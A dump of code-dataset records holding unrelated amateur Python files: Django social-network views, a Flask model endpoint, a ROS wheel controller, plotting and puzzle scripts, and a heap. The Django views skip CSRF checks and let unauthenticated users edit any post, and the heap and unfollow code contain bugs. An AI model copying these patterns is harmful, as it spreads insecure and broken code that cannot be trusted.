open('calc.pckl', 'rb') as pickle_file:\n calc = pickle.load(pickle_file)\natoms.set_calculator(calc)\nE = atoms.get_potential_energy()\nF = atoms.get_forces()\nD = atoms.get_dipole_moment()\nwrite('atoms.traj', atoms)\n\nsubprocess.run('touch .finished', shell=True)\nsubprocess.run('rm .start', shell=True)\n\n\n\n\n\n\n\n\n","sub_path":"calculate_single.py","file_name":"calculate_single.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"653753157","text":"from __future__ import print_function\nimport os\nimport glob\nimport datetime \nfrom pdb import set_trace as stop \n#BaseSpace API imports\nimport BaseSpacePy\nfrom BaseSpacePy.api.BaseSpaceAPI import BaseSpaceAPI\nfrom BaseSpacePy.api.BaseSpaceAPI import QueryParameters\n\ndef pathFromFile(fn, myAPI):\n '''\n input: basespace file object, basespace API instance \n return: save path, based on file location in amazon cloud\n attempts to retain as much path information as possible\n ''' \n url = fn.getFileUrl(myAPI) # fn.getFileS3metadata(myAPI)['url'] <-- can throw a urllib2.HTTPError if the file is empty \n savePath = url.split('amazonaws.com/')[1].split('?AWSA')[0]\n savePath = \"/\".join(savePath.split('/')[1:-1])\n # stop()\n return savePath\n\ndef stringsToBSObj(BSlist, USRlist):\n '''\n input: a list of basespace objects, and a list of string names to select on from that list\n output: list of basespace objects, from the given list of objects, that matched the list of string identifiers\n \n Ex. [Proj1, Proj2, Proj3], [\"Proj1\", \"Proj3\"]\n returns [Proj1, Proj3] as a list of basespace project class instances\n ''' \n # just in case the user-list was a mix of string and basespace objects\n outlist = []\n toClean = []\n for item in USRlist:\n if type(item) in [BaseSpacePy.model.Sample.Sample, BaseSpacePy.model.Project.Project]:\n # no need to clean this\n outlist.append(item)\n else:\n # will need to convert this string to a basespace object\n toClean.append(item)\n \n # readability > concision\n # [outlist.append(item) for item in BSlist if str(item) in toClean]\n for item in BSlist:\n if str(item) in toClean:\n outlist.append(item)\n return outlist\n \ndef humanFormat(num):\n '''\n input: number of bytes as an int \n output: string of corresponding, human-readable format \n '''\n if int(num/(1<<40)):\n return \"{0:.2f}\".format(float(num)/(1<<40)) + \"TB\"\n if int(num/(1<<30)):\n return \"{0:.2f}\".format(float(num)/(1<<30)) + \"GB\"\n if int(num/(1<<20)):\n return \"{0:.2f}\".format(float(num)/(1<<20)) + \"MB\"\n if int(num/(1<<10)):\n return \"{0:.2f}\".format(float(num)/(1<<10)) + \"KB\"\n else:\n return str(num)\n \ndef pickSomething(selectionType, potentialSelectionsList):\n '''\n input: type of items from which user will be selecting, a list of basespace objects corresponding to that selector\n output: a list of the selected basespace objects\n \n prompts users to pick one or more items from a list of basespace objects. \n selection is done by entering a list of ints which correspond to an object\n \n Ex. selectionType = 'project', potentialSelectionsList = [Project1, Project2, Proj3]\n \n output = [Project2, Proj3]\n '''\n itemDict = {}\n for i, item in enumerate(potentialSelectionsList):\n itemDict[i] = item \n for i,item in itemDict.items():\n print(\"[{0}]\\t{1}\".format(i, item))\n selection = raw_input(\"select a \" + selectionType + \" : \")\n if selection == \"\":\n # no selection assumes all selected\n outList = itemDict.values()\n else:\n outList = []\n for picked in selection.split():\n if int(picked) not in itemDict.keys():\n print(\"no \" +selectionType+\" with id #\" + str(picked))\n continue\n outList.append(itemDict[int(picked)])\n return outList \n \ndef fileExists(pathToFn, BSfn):\n '''\n input: a string of intended download location (path and filename) and a basespace file object\n output: boolean \n \n determines whether the file already exists on disk, comparing file name and size\n todo: compare date of creation? \n establish preference by size/date rather than downloading all instances of a file \n '''\n for LOCfn in glob.glob(pathToFn+\"*\"):\n # if os.path.exists(LOCfn): \n # a file by this name exists on disk\n if os.path.getsize(LOCfn) == BSfn.Size:\n # the file on disk is the same size as the file in cloud\n return True\n return False \n \ndef pullMetadata(bsobj):\n '''\n input: a basespace object\n output: a dictionary of metadatas \n \n leverages the fact that basespace objects have a consistent scheme for metadata.\n extracts all present metadata and returns in in key,value format as a dictionary\n ''' \n validMetadataTypes = [str, int, datetime.datetime ]\n metadata = dict()\n for key,value in bsobj.__dict__.items():\n if type(value) in validMetadataTypes and not key.startswith('__'):\n metadata[key] = value\n for key in dir(bsobj):\n value = getattr(bsobj,key)\n if type(value) in validMetadataTypes and not key.startswith('__') and key not in metadata.keys():\n # good metadata \n metadata[key] = value\n if hasattr(bsobj,'swaggerTypes'):\n for key in getattr(bsobj, 'swaggerTypes').keys():\n if hasattr(bsobj, key):\n value = getattr(bsobj,key)\n if type(value) in validMetadataTypes and not key.startswith('__') and key not in metadata.keys():\n metadata[key] = value\n return metadata \n \ndef warning(message):\n print(\"WARNING!\")\n print(message)\n print()","sub_path":"src/scripts/Util.py","file_name":"Util.py","file_ext":"py","file_size_in_byte":5432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"508849994","text":"import numpy as np\r\nfrom flask import Flask, request, jsonify, render_template\r\nimport pickle\r\nimport pandas as pd\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('model.pkl', 'rb'))\r\n#model1 = pickle.load(open('NonIrrigated.pkl', 'rb'))\r\n@app.route('/WindProject',methods=['POST'])\r\ndef predict():\r\n #print(\"Iriigated\")\r\n #month={\"January\":1,\"February\":2,\"March\":3,\"April\":4,\"May\":5,\"June\":6,\"July\":7,\"August\":8,\"September\":9,\"October\":10,\"November\":11,\"December\":12}\r\n #soil={\"Alluvial\":3,\"Red\":2,\"Black\":1,\"Mountain\":6,\"Laterite\":5,\"Desert\":4}\r\n #crop = {1:\"Rice\",2: \"Wheat\",3: \"Cotton\",4:\"Sugarcane\",5: \"Tea\",6: \"Ragi\",7: \"Maize\",8: \"Millet\",9: \"Barley\",10:\"Jawar\",11:\"PigeonPea\",12:\"ChickPea\",13: \"Tomato\",14:\"Brinjal\",15:\"Chilli\",16: \"Onion\",17:\"Garlic\",18:\"Okra\",19: \"Safflower\",20:\"Sunflower\",21:\"Potato\"}\r\n data = request.get_json()\r\n print(data)\r\n #Soil=soil[data['Soil']]\r\n #Month=month[data['Month']]\r\n input=[]\r\n #input.append(Soil)\r\n #input.append(Month)\r\n #input.append(data['date'])\r\n input.append(float(data['theoreticalpower']))\r\n input.append(float(data['windspeed']))\r\n input.append(float(data['winddirection']))\r\n #input.append(float(data['MinpH']))\r\n #input.append(float(data['MaxpH']))\r\n print(input)\r\n input=np.array(input)\r\n input = np.reshape(input, (input.shape[0], 1, input.shape[1]))\r\n prediction = model.predict([input])\r\n print(prediction)\r\n #output=crop[int(prediction[0])]\r\n #print(output)\r\n return jsonify(prediction)\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"TeamIncognitoIBM/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"46108905","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.db import IntegrityError\nfrom django.http import JsonResponse\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\nimport json\nfrom .models import User,Posts,Follows\nfrom django.views.decorators.csrf import csrf_exempt \nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\ndef index(request):\n return render(request, \"network/index.html\")\n@csrf_exempt\n@login_required\ndef set_posts(request):\n if request.method!=\"POST\":\n return JsonResponse({\"error\": \"POST request required.\"}, status=400)\n data=json.loads(request.body)\n print(f'{request.user}:{data.get(\"posts\")}')\n posts=Posts(post=data.get(\"posts\"),user=request.user)\n posts.save()\n return JsonResponse({\"message\": \"Email sent successfully.\"}, status=201)\n \n@csrf_exempt\n@login_required\ndef get_posts(request,type):\n l=[]\n if type==\"profile\":\n l=User.objects.filter(username=request.user)\n return JsonResponse([i.serialize() for i in l],safe=False)\n elif type==\"all_posts\":\n print(\"all_posts\")\n l=Posts.objects.all()\n l=sorted(l,key=lambda X:X.time_stamp,reverse=True)\n t=[]\n for i in l:\n if i.user.username!=request.user:\n t.append(i)\n return JsonResponse([i.serialize(request.user) for i in t],safe=False)\n elif type==\"posts\":\n followers=Follows.objects.filter(follower=request.user)\n for i in followers:\n obj=User.objects.get(username=i.user)\n post=Posts.objects.filter(user=obj)\n l+=post\n l=sorted(l,key=lambda x:x.time_stamp,reverse=True)\n return JsonResponse([i.serialize(id=request.user) for i in l],safe=False)\n elif type==\"search_profile\":\n if request.method!=\"POST\":\n return JsonResponse({\"error\": \"POST request required.\"}, status=400)\n else:\n data=json.loads(request.body)\n l=User.objects.filter(username=data.get(\"search_key\"))\n print(l)\n return JsonResponse([i.serialize(request.user) for i in l],safe=False)\n elif type==\"following\":\n obj=Follows.objects.filter(follower=request.user)\n print([i.user.serialize() for i in obj])\n return JsonResponse([i.user.serialize(request.user) for i in obj],safe=False)\n@csrf_exempt\ndef edit_post(request):\n if request.method!=\"POST\":\n return JsonResponse({\"message\":\"Invalid Operation\"})\n else:\n data=json.loads(request.body)\n print(data.get(\"updated_post\"))\n post_obj=Posts.objects.get(id=data.get(\"id\"))\n post_obj.post=data.get(\"updated_post\")\n post_obj.save()\n return JsonResponse({\"message\":f\"Post Updated with {post_obj.post}\"})\n\ndef get_user(request,username):\n \n obj=User.objects.get(id=username)\n print(obj)\n return JsonResponse([obj.serialize(request.user)],safe=False)\n\ndef get_user_posts(request,username):\n obj=User.objects.get(id=username)\n posts=Posts.objects.filter(user=obj.id)\n print(posts)\n return JsonResponse([i.serialize(request.user) for i in posts],safe=False)\n\ndef login_view(request):\n if request.method == \"POST\":\n\n # Attempt to sign user in\n username = request.POST[\"username\"]\n password = request.POST[\"password\"]\n user = authenticate(request, username=username, password=password)\n\n # Check if authentication successful\n if user is not None:\n login(request, user)\n return HttpResponseRedirect(reverse(\"index\"))\n else:\n return render(request, \"network/login.html\", {\n \"message\": \"Invalid username and/or password.\"\n })\n else:\n return render(request, \"network/login.html\")\n\n\ndef follow(request,user_id,type):\n if(type==\"follow\"):\n obj1=User.objects.get(id=user_id)\n print(obj1.id)\n if len(Follows.objects.filter(user=obj1))==0:\n obj=Follows(user=obj1)\n obj.save()\n obj.follower.add(request.user)\n obj.save()\n else:\n obj=Follows.objects.get(user=obj1)\n obj.follower.add(request.user)\n return JsonResponse({\"message\": f\"{obj1.username} was followed by {request.user}.\"}, status=201)\n elif(type==\"Unfollow\"):\n \n user_obj=get_object_or_404(User, username=request.user)\n post=Follows(user=user_id)\n post.follower.remove(user_obj)\n \n return JsonResponse({\"message\": f\"{obj1.username} was unfollowed by {request.user}.\"}, status=201)\n\n \n\ndef like_post(request,post_id,type):\n if type==\"like\":\n obj=Posts.objects.get(id=post_id)\n obj.likes.add(request.user)\n obj.save()\n return JsonResponse({\"message\":f\"{request.user} liked {post_id}\"})\n elif type==\"dislike\":\n user_obj=get_object_or_404(User, username=request.user)\n post=Posts(id=post_id)\n post.likes.remove(user_obj)\n return JsonResponse({\"message\":f\"{request.user} disliked {post_id}\"})\n \n\n\n\n\n\n\ndef logout_view(request):\n logout(request)\n return HttpResponseRedirect(reverse(\"login\"))\n\n\ndef register(request):\n if request.method == \"POST\":\n username = request.POST[\"username\"]\n email = request.POST[\"email\"]\n\n # Ensure password matches confirmation\n password = request.POST[\"password\"]\n confirmation = request.POST[\"confirmation\"]\n if password != confirmation:\n return render(request, \"network/register.html\", {\n \"message\": \"Passwords must match.\"\n })\n\n # Attempt to create new user\n try:\n user = User.objects.create_user(username, email, password)\n user.save()\n except IntegrityError:\n return render(request, \"network/register.html\", {\n \"message\": \"Username already taken.\"\n })\n login(request, user)\n return HttpResponseRedirect(reverse(\"index\"))\n else:\n return render(request, \"network/register.html\")\n","sub_path":"project4/network/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"591693761","text":"#!/usr/bin/env python\n\n# Mecanum wheels command\n# input: geometry_msgs/Twist\n# output: roboteq_msgs/Command\n\n# FLW = Front Left Wheel\n# FRW = Front Right Wheel\n# RLW = Rear Left Wheel\n# RRW = Rear Right Wheel\n\nimport rospy\nfrom roboteq_msgs.msg import Command\nfrom geometry_msgs.msg import Twist\nfrom math import pi, sin, cos, sqrt, atan2\n\n\nclass MecanumCmd:\n\n def __init__(self):\n\n # get parameters\n # x axis distance between wheel axis and the robot's centroid\n self.alpha = rospy.get_param('alpha', 0.22735) # in meter\n # y axis distance between wheel radial median and the robot'S centroid\n self.beta = rospy.get_param('beta', 0.2056310) # in meter\n self.radius = rospy.get_param('wheel_radius', 0.075) # wheel radius, in meter\n # max linear velocity, in m/s\n self.maxLinearVelocity = float(rospy.get_param('max_linear_vel', 1))\n # max angular velocity, in rad/s\n divisor = rospy.get_param('angular_vel_div', 6)\n self.maxAngularVelocity = pi/divisor\n # gearbox ratio\n self.gb_ratio = rospy.get_param('gearbox_ratio', 30.0)\n\n self.sub = rospy.Subscriber('cmd_vel', Twist, self.callback)\n\n self.pubFLW = rospy.Publisher('drive0/cmd0', Command, queue_size=1)\n self.pubFRW = rospy.Publisher('drive1/cmd1', Command, queue_size=1)\n self.pubRLW = rospy.Publisher('drive2/cmd2', Command, queue_size=1)\n self.pubRRW = rospy.Publisher('drive3/cmd3', Command, queue_size=1)\n\n def callback(self, twist):\n\n FLW_cmd = Command()\n FRW_cmd = Command()\n RLW_cmd = Command()\n RRW_cmd = Command()\n\n # linear velocity\n vLinear = sqrt(twist.linear.x**2 + twist.linear.y**2)\n\n if vLinear > self.maxLinearVelocity:\n vLinear = self.maxLinearVelocity\n\n # movement orientation\n Heading = atan2(twist.linear.y, twist.linear.x)\n\n # x axis linear velocity\n xVel = vLinear * cos(Heading)\n # y axis linear velocity\n yVel = vLinear * sin(Heading)\n\n # YAW axis rotational velocity\n yawVel = twist.angular.z\n\n if yawVel**2 > self.maxAngularVelocity**2:\n yawVel = self.maxAngularVelocity * yawVel / abs(yawVel)\n\n w = self.InverseKinematics(xVel, yVel, yawVel)\n\n FLW_cmd.mode = 0\n FLW_cmd.setpoint = w[0]\n FRW_cmd.mode = 0\n FRW_cmd.setpoint = w[1]\n RLW_cmd.mode = 0\n RLW_cmd.setpoint = w[2]\n RRW_cmd.mode = 0\n RRW_cmd.setpoint = w[3]\n\n self.pubFLW.publish(FLW_cmd)\n self.pubFRW.publish(FRW_cmd)\n self.pubRLW.publish(RLW_cmd)\n self.pubRRW.publish(RRW_cmd)\n\n def InverseKinematics(self, xVel, yVel, yawVel):\n\n # Reference:\n # Maulana, E.; Muslim, M.A.; Hendrayawan, V.,\n # \"Inverse kinematic implementation of four-wheels mecanum drive mobile robot using stepper motors,\"\n # in Intelligent Technology and Its Applications (ISITIA), 2015 International Seminar on ,\n # vol., no., pp.51-56, 20-21 May 2015\n\n # Inverse Kinematics matrix\n J = [[1, -1, -1*(self.alpha + self.beta)],\n [1, 1, (self.alpha + self.beta)],\n [1, 1, -1*(self.alpha + self.beta)],\n [1, -1, (self.alpha + self.beta)]]\n\n # wheel angular velocity, in rad/s\n w = [0., 0., 0., 0.]\n\n for k in range(len(w)):\n w[k] = -self.gb_ratio / 2.0 * ((-1)**k) * (1/self.radius) * (J[k][0]*xVel + J[k][1]*yVel + J[k][2]*yawVel)\n\n return w\n\n\nif __name__ == '__main__':\n\n try:\n rospy.init_node('wm_mecanum_cmd_node')\n\n MecanumCmd()\n\n rospy.spin()\n\n except rospy.ROSInterruptException:\n pass\n","sub_path":"src/wm_mecanum_cmd_node.py","file_name":"wm_mecanum_cmd_node.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"388146087","text":"import scipy as sp\nfrom scipy.interpolate import griddata \nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport gc\n\n\n############## Functions #######################\n\nfont = {'family' : 'serif',\n 'weight' : 'normal',\n 'size' : 14}\n\nplt.rc('font', **font)\n\n\ndef plotAndSave(data,dataName,metric,savePath,year,xTrainA,yTrainA,xTrainB,yTrainB,cmap,mask=[],vmin=None,vmax=None,intervals=51,saveDataFile=False,elevLabel=\"\"):\n \n piv = data.pivot(index='Y_Round',columns='X_Round',values=metric)\n \n xi = piv.columns.values\n yi = piv.index.values\n zi = piv.values\n \n if mask!=[]:\n zi = np.ma.masked_where(1-np.flip(mask,axis=0),zi)\n \n \n fig = plt.figure(figsize=(12, 12))\n ax = fig.add_subplot(111)\n\n ax.contourf(xi,yi,zi,intervals,cmap=cmap,vmin=vmin,vmax=vmax)\n \n #Plot Training paths\n ax.scatter(xTrainA,yTrainA,color='k',marker='.',s=7)\n if len(xTrainB) != 0:\n ax.scatter(xTrainB,yTrainB,color='g',marker='.',s=7)\n \n #Define colourbar\n m = plt.cm.ScalarMappable(cmap=cmap)\n m.set_array(zi)\n m.set_clim(vmin, vmax)\n msize = (vmax-vmin)/intervals\n cbar = fig.colorbar(m,boundaries=np.arange(vmin,vmax+.1,msize))\n cbar.ax.set_ylabel('Elevation {} (m)'.format(elevLabel))\n #cbar.ax.get_yaxis().set_major_formatter(plt.FuncFormatter(lambda x, loc: \"{:,}\".format(int(x))))\n \n ax.get_yaxis().set_major_formatter(plt.FuncFormatter(lambda x, loc: \"{:,}\".format(int(x))))\n ax.get_xaxis().set_major_formatter(plt.FuncFormatter(lambda x, loc: \"{:,}\".format(int(x))))\n ax.set_xlim(-230000, -110000)\n ax.set_ylim(-2350000, -2150000)\n \n plt.ylabel('y', figure=fig)\n plt.xlabel('x', figure=fig)\n \n #Add title\n title = '{}-{}({})'.format(year,metric,dataName)\n plt.title(title)\n\n #Save figure\n fig.savefig(savePath+title+'.png',format='png')\n if saveDataFile:\n dataOut = pd.DataFrame(data=zi,index=yi,columns=xi)\n dataOut.to_csv(savePath+title+'-WithRowColHeaders.csv')\n #np.savetxt(savePath+title+'-NoRowColHeaders.csv',zi,delimiter=',')\n\n\ndef groupData(data): \n \n dataSmall = data[['X_Swath','Y_Swath','Predicted','Elev_Swath']]\n dataSmall.loc[:,'Predicted-Swath']=dataSmall['Predicted']-dataSmall['Elev_Swath']\n dataSmall.loc[:,'X_Round']=(dataSmall['X_Swath']/gridWidth).round()*gridWidth\n dataSmall.loc[:,'Y_Round']=(dataSmall['Y_Swath']/gridWidth).round()*gridWidth\n dataSmall.drop(['X_Swath','Y_Swath'],axis=1,inplace=True)\n \n \n grouped = dataSmall.groupby(['X_Round','Y_Round'],as_index=False)\n \n return grouped.mean()\n \n '''\n #Mean\n meanD = grouped.mean()\n plotAndSave(meanD,dataName,'Predicted','DEM(Mean)',savePath,year,plt.cm.jet,mask=mask)\n plotAndSave(meanD,dataName,'Elev_Swath','DEM(Mean)',savePath,year,plt.cm.jet,mask=mask)\n plotAndSave(meanD,dataName,'Predicted-Swath','Diff(Mean)',savePath,year,plt.cm.bwr,centre=True,mask=mask)\n\n #Median\n medianD = grouped.median()\n plotAndSave(medianD,dataName,'Predicted','DEM(Median)',savePath,year,plt.cm.jet,mask=mask)\n plotAndSave(medianD,dataName,'Elev_Swath','DEM(Median)',savePath,year,plt.cm.jet,mask=mask)\n plotAndSave(medianD,dataName,'Predicted-Swath','Diff(Median)',savePath,year,plt.cm.bwr,centre=True,mask=mask)\n \n #Density\n countD = grouped.count()\n plotAndSave(countD,dataName,'Predicted','Density',savePath,year,plt.cm.Greens,mask=mask)\n #plotAndSave(countD,dataName,'Elev_Swath','Density',savePath,year,plt.cm.jet)\n '''\n\n\n######### Config ###############\n#fname = '/media/martin/FastData/Data/hdf/predictions/Models-nn-5k/BigRunNN_NN_Huber_Adamax_5000_NoScaleY/jak11train/jak11test_Full.h5'\n\n\ngridWidth = 500.0\nsaveDataFile = False\nfullOrFiltered = 'Full'\n\n#Everything\nlabel = 'Jakobshavn'\nxmin = -260000\nymin = -2370000\nxmax = -110000\nymax = -2150000\n\n#Larger Area\n#label = 'MediumArea'\n#xmin = -200000\n#ymin = -2325000\n#xmax = -137500\n#ymax = -2250000\n\n#Small Area\n#label = 'SmallArea'\n#xmin = -170000#np.min(x)\n#ymin = -2280000#np.min(y)\n#xmax = -137500#np.max(x)\n#ymax = -2260000#np.max(y)\n\n#Mask###\n#mask = []\n#mask = np.loadtxt('/media/martin/FastData/Plots/Masks/GimpIceMask_500m_JakobModified_MLzoomSmall.csv',delimiter=',')\nmask = np.loadtxt('/media/martin/FastData/Plots/Masks/GimpIceMask_500m_JakobModified_MLzoomLarge.csv',delimiter=',')\n\n\n##### Repeat for Full ######\narea = 'all11to14'\ntest = 'jak11'\nfnameFull = '/media/martin/FastData/Data/hdf/predictions/Models-nn-mod/HSmallRun_NN_L1_Adamax_50000_ScaleY/{}/All{}_{}.h5'.format(area,test.title(),fullOrFiltered)\ndataFull= pd.read_hdf(fnameFull,key=\"data\")\ndataFull = dataFull[(dataFull['X_Swath']>xmin) & (dataFull['X_Swath']ymin) & (dataFull['Y_Swath']0]\ndataFull = dataFull[dataFull['Predicted']<(np.max(dataFull['Elev_Swath'])+100)]\ndataA = groupData(dataFull)\n\nfnameTrain = '/media/martin/FastData/Data/hdf/predictions/Models-nn-compare/CompRun_NN_Huber_Adamax_50000_NoScaleY/{}/{}_Full.h5'.format(test,test)\ndataTrain = pd.read_hdf(fnameTrain,key=\"data\")\ndataTrain = dataTrain[(dataTrain['X_Swath']>xmin) & (dataTrain['X_Swath']ymin) & (dataTrain['Y_Swath']xmin) & (dataFull['X_Swath']ymin) & (dataFull['Y_Swath']0]\ndataFull = dataFull[dataFull['Predicted']<(np.max(dataFull['Elev_Swath'])+100)]\ndataB = groupData(dataFull)\n\nfnameTrain = '/media/martin/FastData/Data/hdf/predictions/Models-nn-compare/CompRun_NN_Huber_Adamax_50000_NoScaleY/{}/{}_Full.h5'.format(test,test)\ndataTrain = pd.read_hdf(fnameTrain,key=\"data\")\ndataTrain = dataTrain[(dataTrain['X_Swath']>xmin) & (dataTrain['X_Swath']ymin) & (dataTrain['Y_Swath'] 0:\n bwards = base*bwards + k % base\n k = k // base\n return n==bwards\n \ndef makePalindrome(n,base,oddlength):\n res = n\n if oddlength:\n n = n // base\n while n > 0:\n res = base*res + n % base\n n = n // base\n return res\n \ndef p36v2(limit):\n t=time.clock()\n sumpal = 0\n i = 1\n p = makePalindromeBase2(i,True)\n while p < limit:\n if isPalindrome(p,10):\n sumpal +=p\n i +=1\n p = makePalindromeBase2(i,True)\n i = 1\n p = makePalindromeBase2(i,False)\n while p < limit:\n if isPalindrome(p,10):\n sumpal += p\n i +=1\n p = makePalindromeBase2(i,False)\n print(sumpal,time.clock()-t)\n \ndef makePalindromeBase2(n,oddlength):\n res = n\n if oddlength:\n n = n >> 1\n while n > 0:\n res = (res << 1) + (n & 1)\n n = n >> 1\n return res\n \ndef test(n):\n t=time.clock()\n for i in range(n):\n makePalindromeBase2(i,True)\n print(time.clock()-t)\n t=time.clock()\n for i in range(n):\n makePalindrome(i,2,True)\n print(time.clock()-t) \n###############################################\n\n\ndef cb10to2(n):\n '''\n n is assumed to be a positive base 10 integer\n return abs(n) as string in base 2\n ''' \n b2='' \n current=abs(n)\n while current !=0:\n b2 += str(int(current%2))\n current=m.floor(current/2)\n return b2[::-1]\n \n \n\ndef check(s):\n return s == s[::-1]\n\ndef main():\n start_time = time.time()\n n = int(1e6)\n print(sum(i for i in range(n) if check(str(i)) and check(str(bin(i))[2:])))\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n \n\n#main()","sub_path":"PE_0036/PE_0036.py","file_name":"PE_0036.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"243569921","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 27 11:16:22 2019\r\n\r\n@author: AK389016\r\n\"\"\"\r\nheapsize = 0\r\n\r\ndef parent_index(pos):\r\n return int((pos - 1) / 2)\r\n\r\ndef lchild_index(pos):\r\n return int(2 * pos) + 1\r\n\r\ndef rchild_index(pos):\r\n return 2 * pos + 2\r\n\r\ndef insert_heap(heap, x):\r\n heap.append(x)\r\n global heapsize\r\n heapsize += 1\r\n i = heapsize - 1\r\n \r\n while i >= 0 and heap[i] < heap[parent_index(i)]:\r\n temp = heap[i]\r\n heap[i] = heap[parent_index(i)]\r\n heap[parent_index(i)] = temp\r\n i = heap[parent_index(i)]\r\n\r\ndef extractTop(heap):\r\n global heapsize\r\n if heapsize <= 0:\r\n return \"Heap is empty\"\r\n top = heap[0]\r\n heap[0] = heap[heapsize - 1]\r\n heapsize -= 1\r\n minHeapify(heap, 0)\r\n return top\r\n\r\ndef minHeapify(heap, n):\r\n l = lchild_index(n)\r\n r = rchild_index(n)\r\n smallest = n\r\n \r\n global heapsize\r\n if l < heapsize and heap[l] < heap[smallest]:\r\n smallest = l\r\n if r < heapsize and heap[r] < heap[smallest]:\r\n smallest = r\r\n \r\n if smallest != n:\r\n temp = heap[smallest]\r\n heap[smallest] = heap[n]\r\n heap[n] = temp\r\n minHeapify(heap, smallest)\r\n \r\nheap = []\r\n\r\ninsert_heap(heap, 10)\r\ninsert_heap(heap, 15)\r\ninsert_heap(heap, 0)\r\ninsert_heap(heap, 25)\r\ninsert_heap(heap, 17)\r\ninsert_heap(heap, 5)\r\n\r\nextractTop(heap)\r\n\r\n","sub_path":"heap_.py","file_name":"heap_.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"635611587","text":"def main():\n N = int(input())\n A = list(map(int, input().split()))\n\n S = [A[0]] # 累積和=A1,...,Ai実行後のdiff\n H = [A[0]] # i実行後の絶対高さ\n D = [max(0, A[0])] # A1,...,Ai実行後の最高到達diff\n\n max_v = D[0]\n for i in range(1, N):\n S.append(S[i - 1] + A[i])\n H.append(H[i - 1] + S[i]) # 開始地点+i実行後のdiff\n D.append(max(S[i], D[i - 1])) # 最高到達diffの更新\n max_v = max(max_v, H[i - 1] + D[i]) # 開始地点+最高到達diffで更新\n\n print(max_v)\n\n\nmain()\n","sub_path":"abc/abc182d.py","file_name":"abc182d.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"15685062","text":"from rest_framework.authtoken.models import Token\nfrom django.contrib.auth.models import User\nfrom visitors.models import Visitor\nfrom comments.models import Comment\nfrom uploads.models import Upload\nfrom rest_framework import status\nfrom rest_framework import test\nfrom posts.models import Post\nfrom tags.models import Tag\nimport tempfile\n\n\nclass TestMixin(object):\n\n def setUp(self):\n \"\"\"\n\n Tests factory.\n\n Attributes:\n ------------------\n :client: Web client.\n :url: API Test URL.\n :file1: Uploaded file.\n :file2: Uploaded file.\n :post1: Post.\n :post2: Post.\n :post3: Post.\n :tag1: Tag.\n :tag2: Tag.\n :tag3: Tag.\n :comment1: Comment owned by self.owner\n :comment2: Comment owned by self.owner\n :user: User without Visitor object.\n :owner: Comment's owner.\n :admin: Admin Visitor.\n :visitor: Common Visitor.\n\n Methods:\n ------------------\n :setUp: Run initial setup.\n :loginAs: Login as User.\n :test_GET: Test GET method is not implemented.\n :test_POST: Test POST method is not implemented.\n :test_PATCH: Test PATCH method is not implemented.\n :test_PUT: Test PUT method is not implemented.\n :test_DELETE: Test DELETE method is not implemented.\n :test_HEAD: Test HEAD method is not implemented.\n :test_OPTIONS: Test OPTIONS method is not implemented.\n\n\n \"\"\"\n\n \"\"\" Open web connection. \"\"\"\n self.client = test.APIClient()\n\n \"\"\" URL for this test. \"\"\"\n self.url = None\n\n \"\"\" Upload images. \"\"\"\n self.file1 = Upload(title=\"this is a test\")\n self.file1.file = tempfile.NamedTemporaryFile(suffix=\".jpg\").name\n self.file1.save()\n self.file2 = Upload(title=\"this is a test\")\n self.file2.file = tempfile.NamedTemporaryFile(suffix=\".jpg\").name\n self.file2.save()\n\n \"\"\" Create an admin Visitor. \"\"\"\n self.admin = Visitor(name=\"test\", email=\"test@test.com\")\n u = User()\n u.username = self.admin.name\n u.is_superuser = True\n u.is_staff = True\n u.email = self.admin.email\n u.save()\n self.admin.user = u\n self.admin.save()\n\n \"\"\" Create a common Visitor. \"\"\"\n self.visitor = Visitor(name=\"test3\", email=\"test@test.com3\")\n u = User()\n u.username = self.visitor.name\n u.is_superuser = False\n u.is_staff = False\n u.email = self.visitor.email\n u.save()\n self.visitor.user = u\n self.visitor.save()\n\n \"\"\" Create an owner for Comments. \"\"\"\n self.owner = Visitor(name=\"test2\", email=\"test@test.com2\")\n u = User()\n u.username = self.owner.name\n u.is_superuser = False\n u.is_staff = False\n u.email = self.owner.email\n u.save()\n self.owner.user = u\n self.owner.save()\n\n \"\"\" Create a User without Visitor reference. \"\"\"\n self.user = User()\n self.user.username = \"bon jovi\"\n self.user.is_superuser = True\n self.user.is_staff = True\n self.user.email = \"bonjovi@gmail.com\"\n self.user.save()\n\n \"\"\" Create some tags. \"\"\"\n self.tag1 = Tag()\n self.tag1.id = \"gnr\"\n self.tag1.name = \"HIHOLA
IO
\"\n self.tag1.save()\n \"\"\" ----------------- \"\"\"\n self.tag2 = Tag()\n self.tag2.id = \"pf\"\n self.tag2.name = \"BYECHAU
CHAU
\"\n self.tag2.save()\n \"\"\" ----------------- \"\"\"\n self.tag3 = Tag()\n self.tag3.id = \"bj\"\n self.tag3.name = \"GOODBUENO
BOM
\"\n self.tag3.save()\n\n \"\"\" Create a full Post. \"\"\"\n self.post1 = Post()\n self.post1.slug = \"red_dragon\"\n self.post1.title = \"REDROJO
VERMELHO
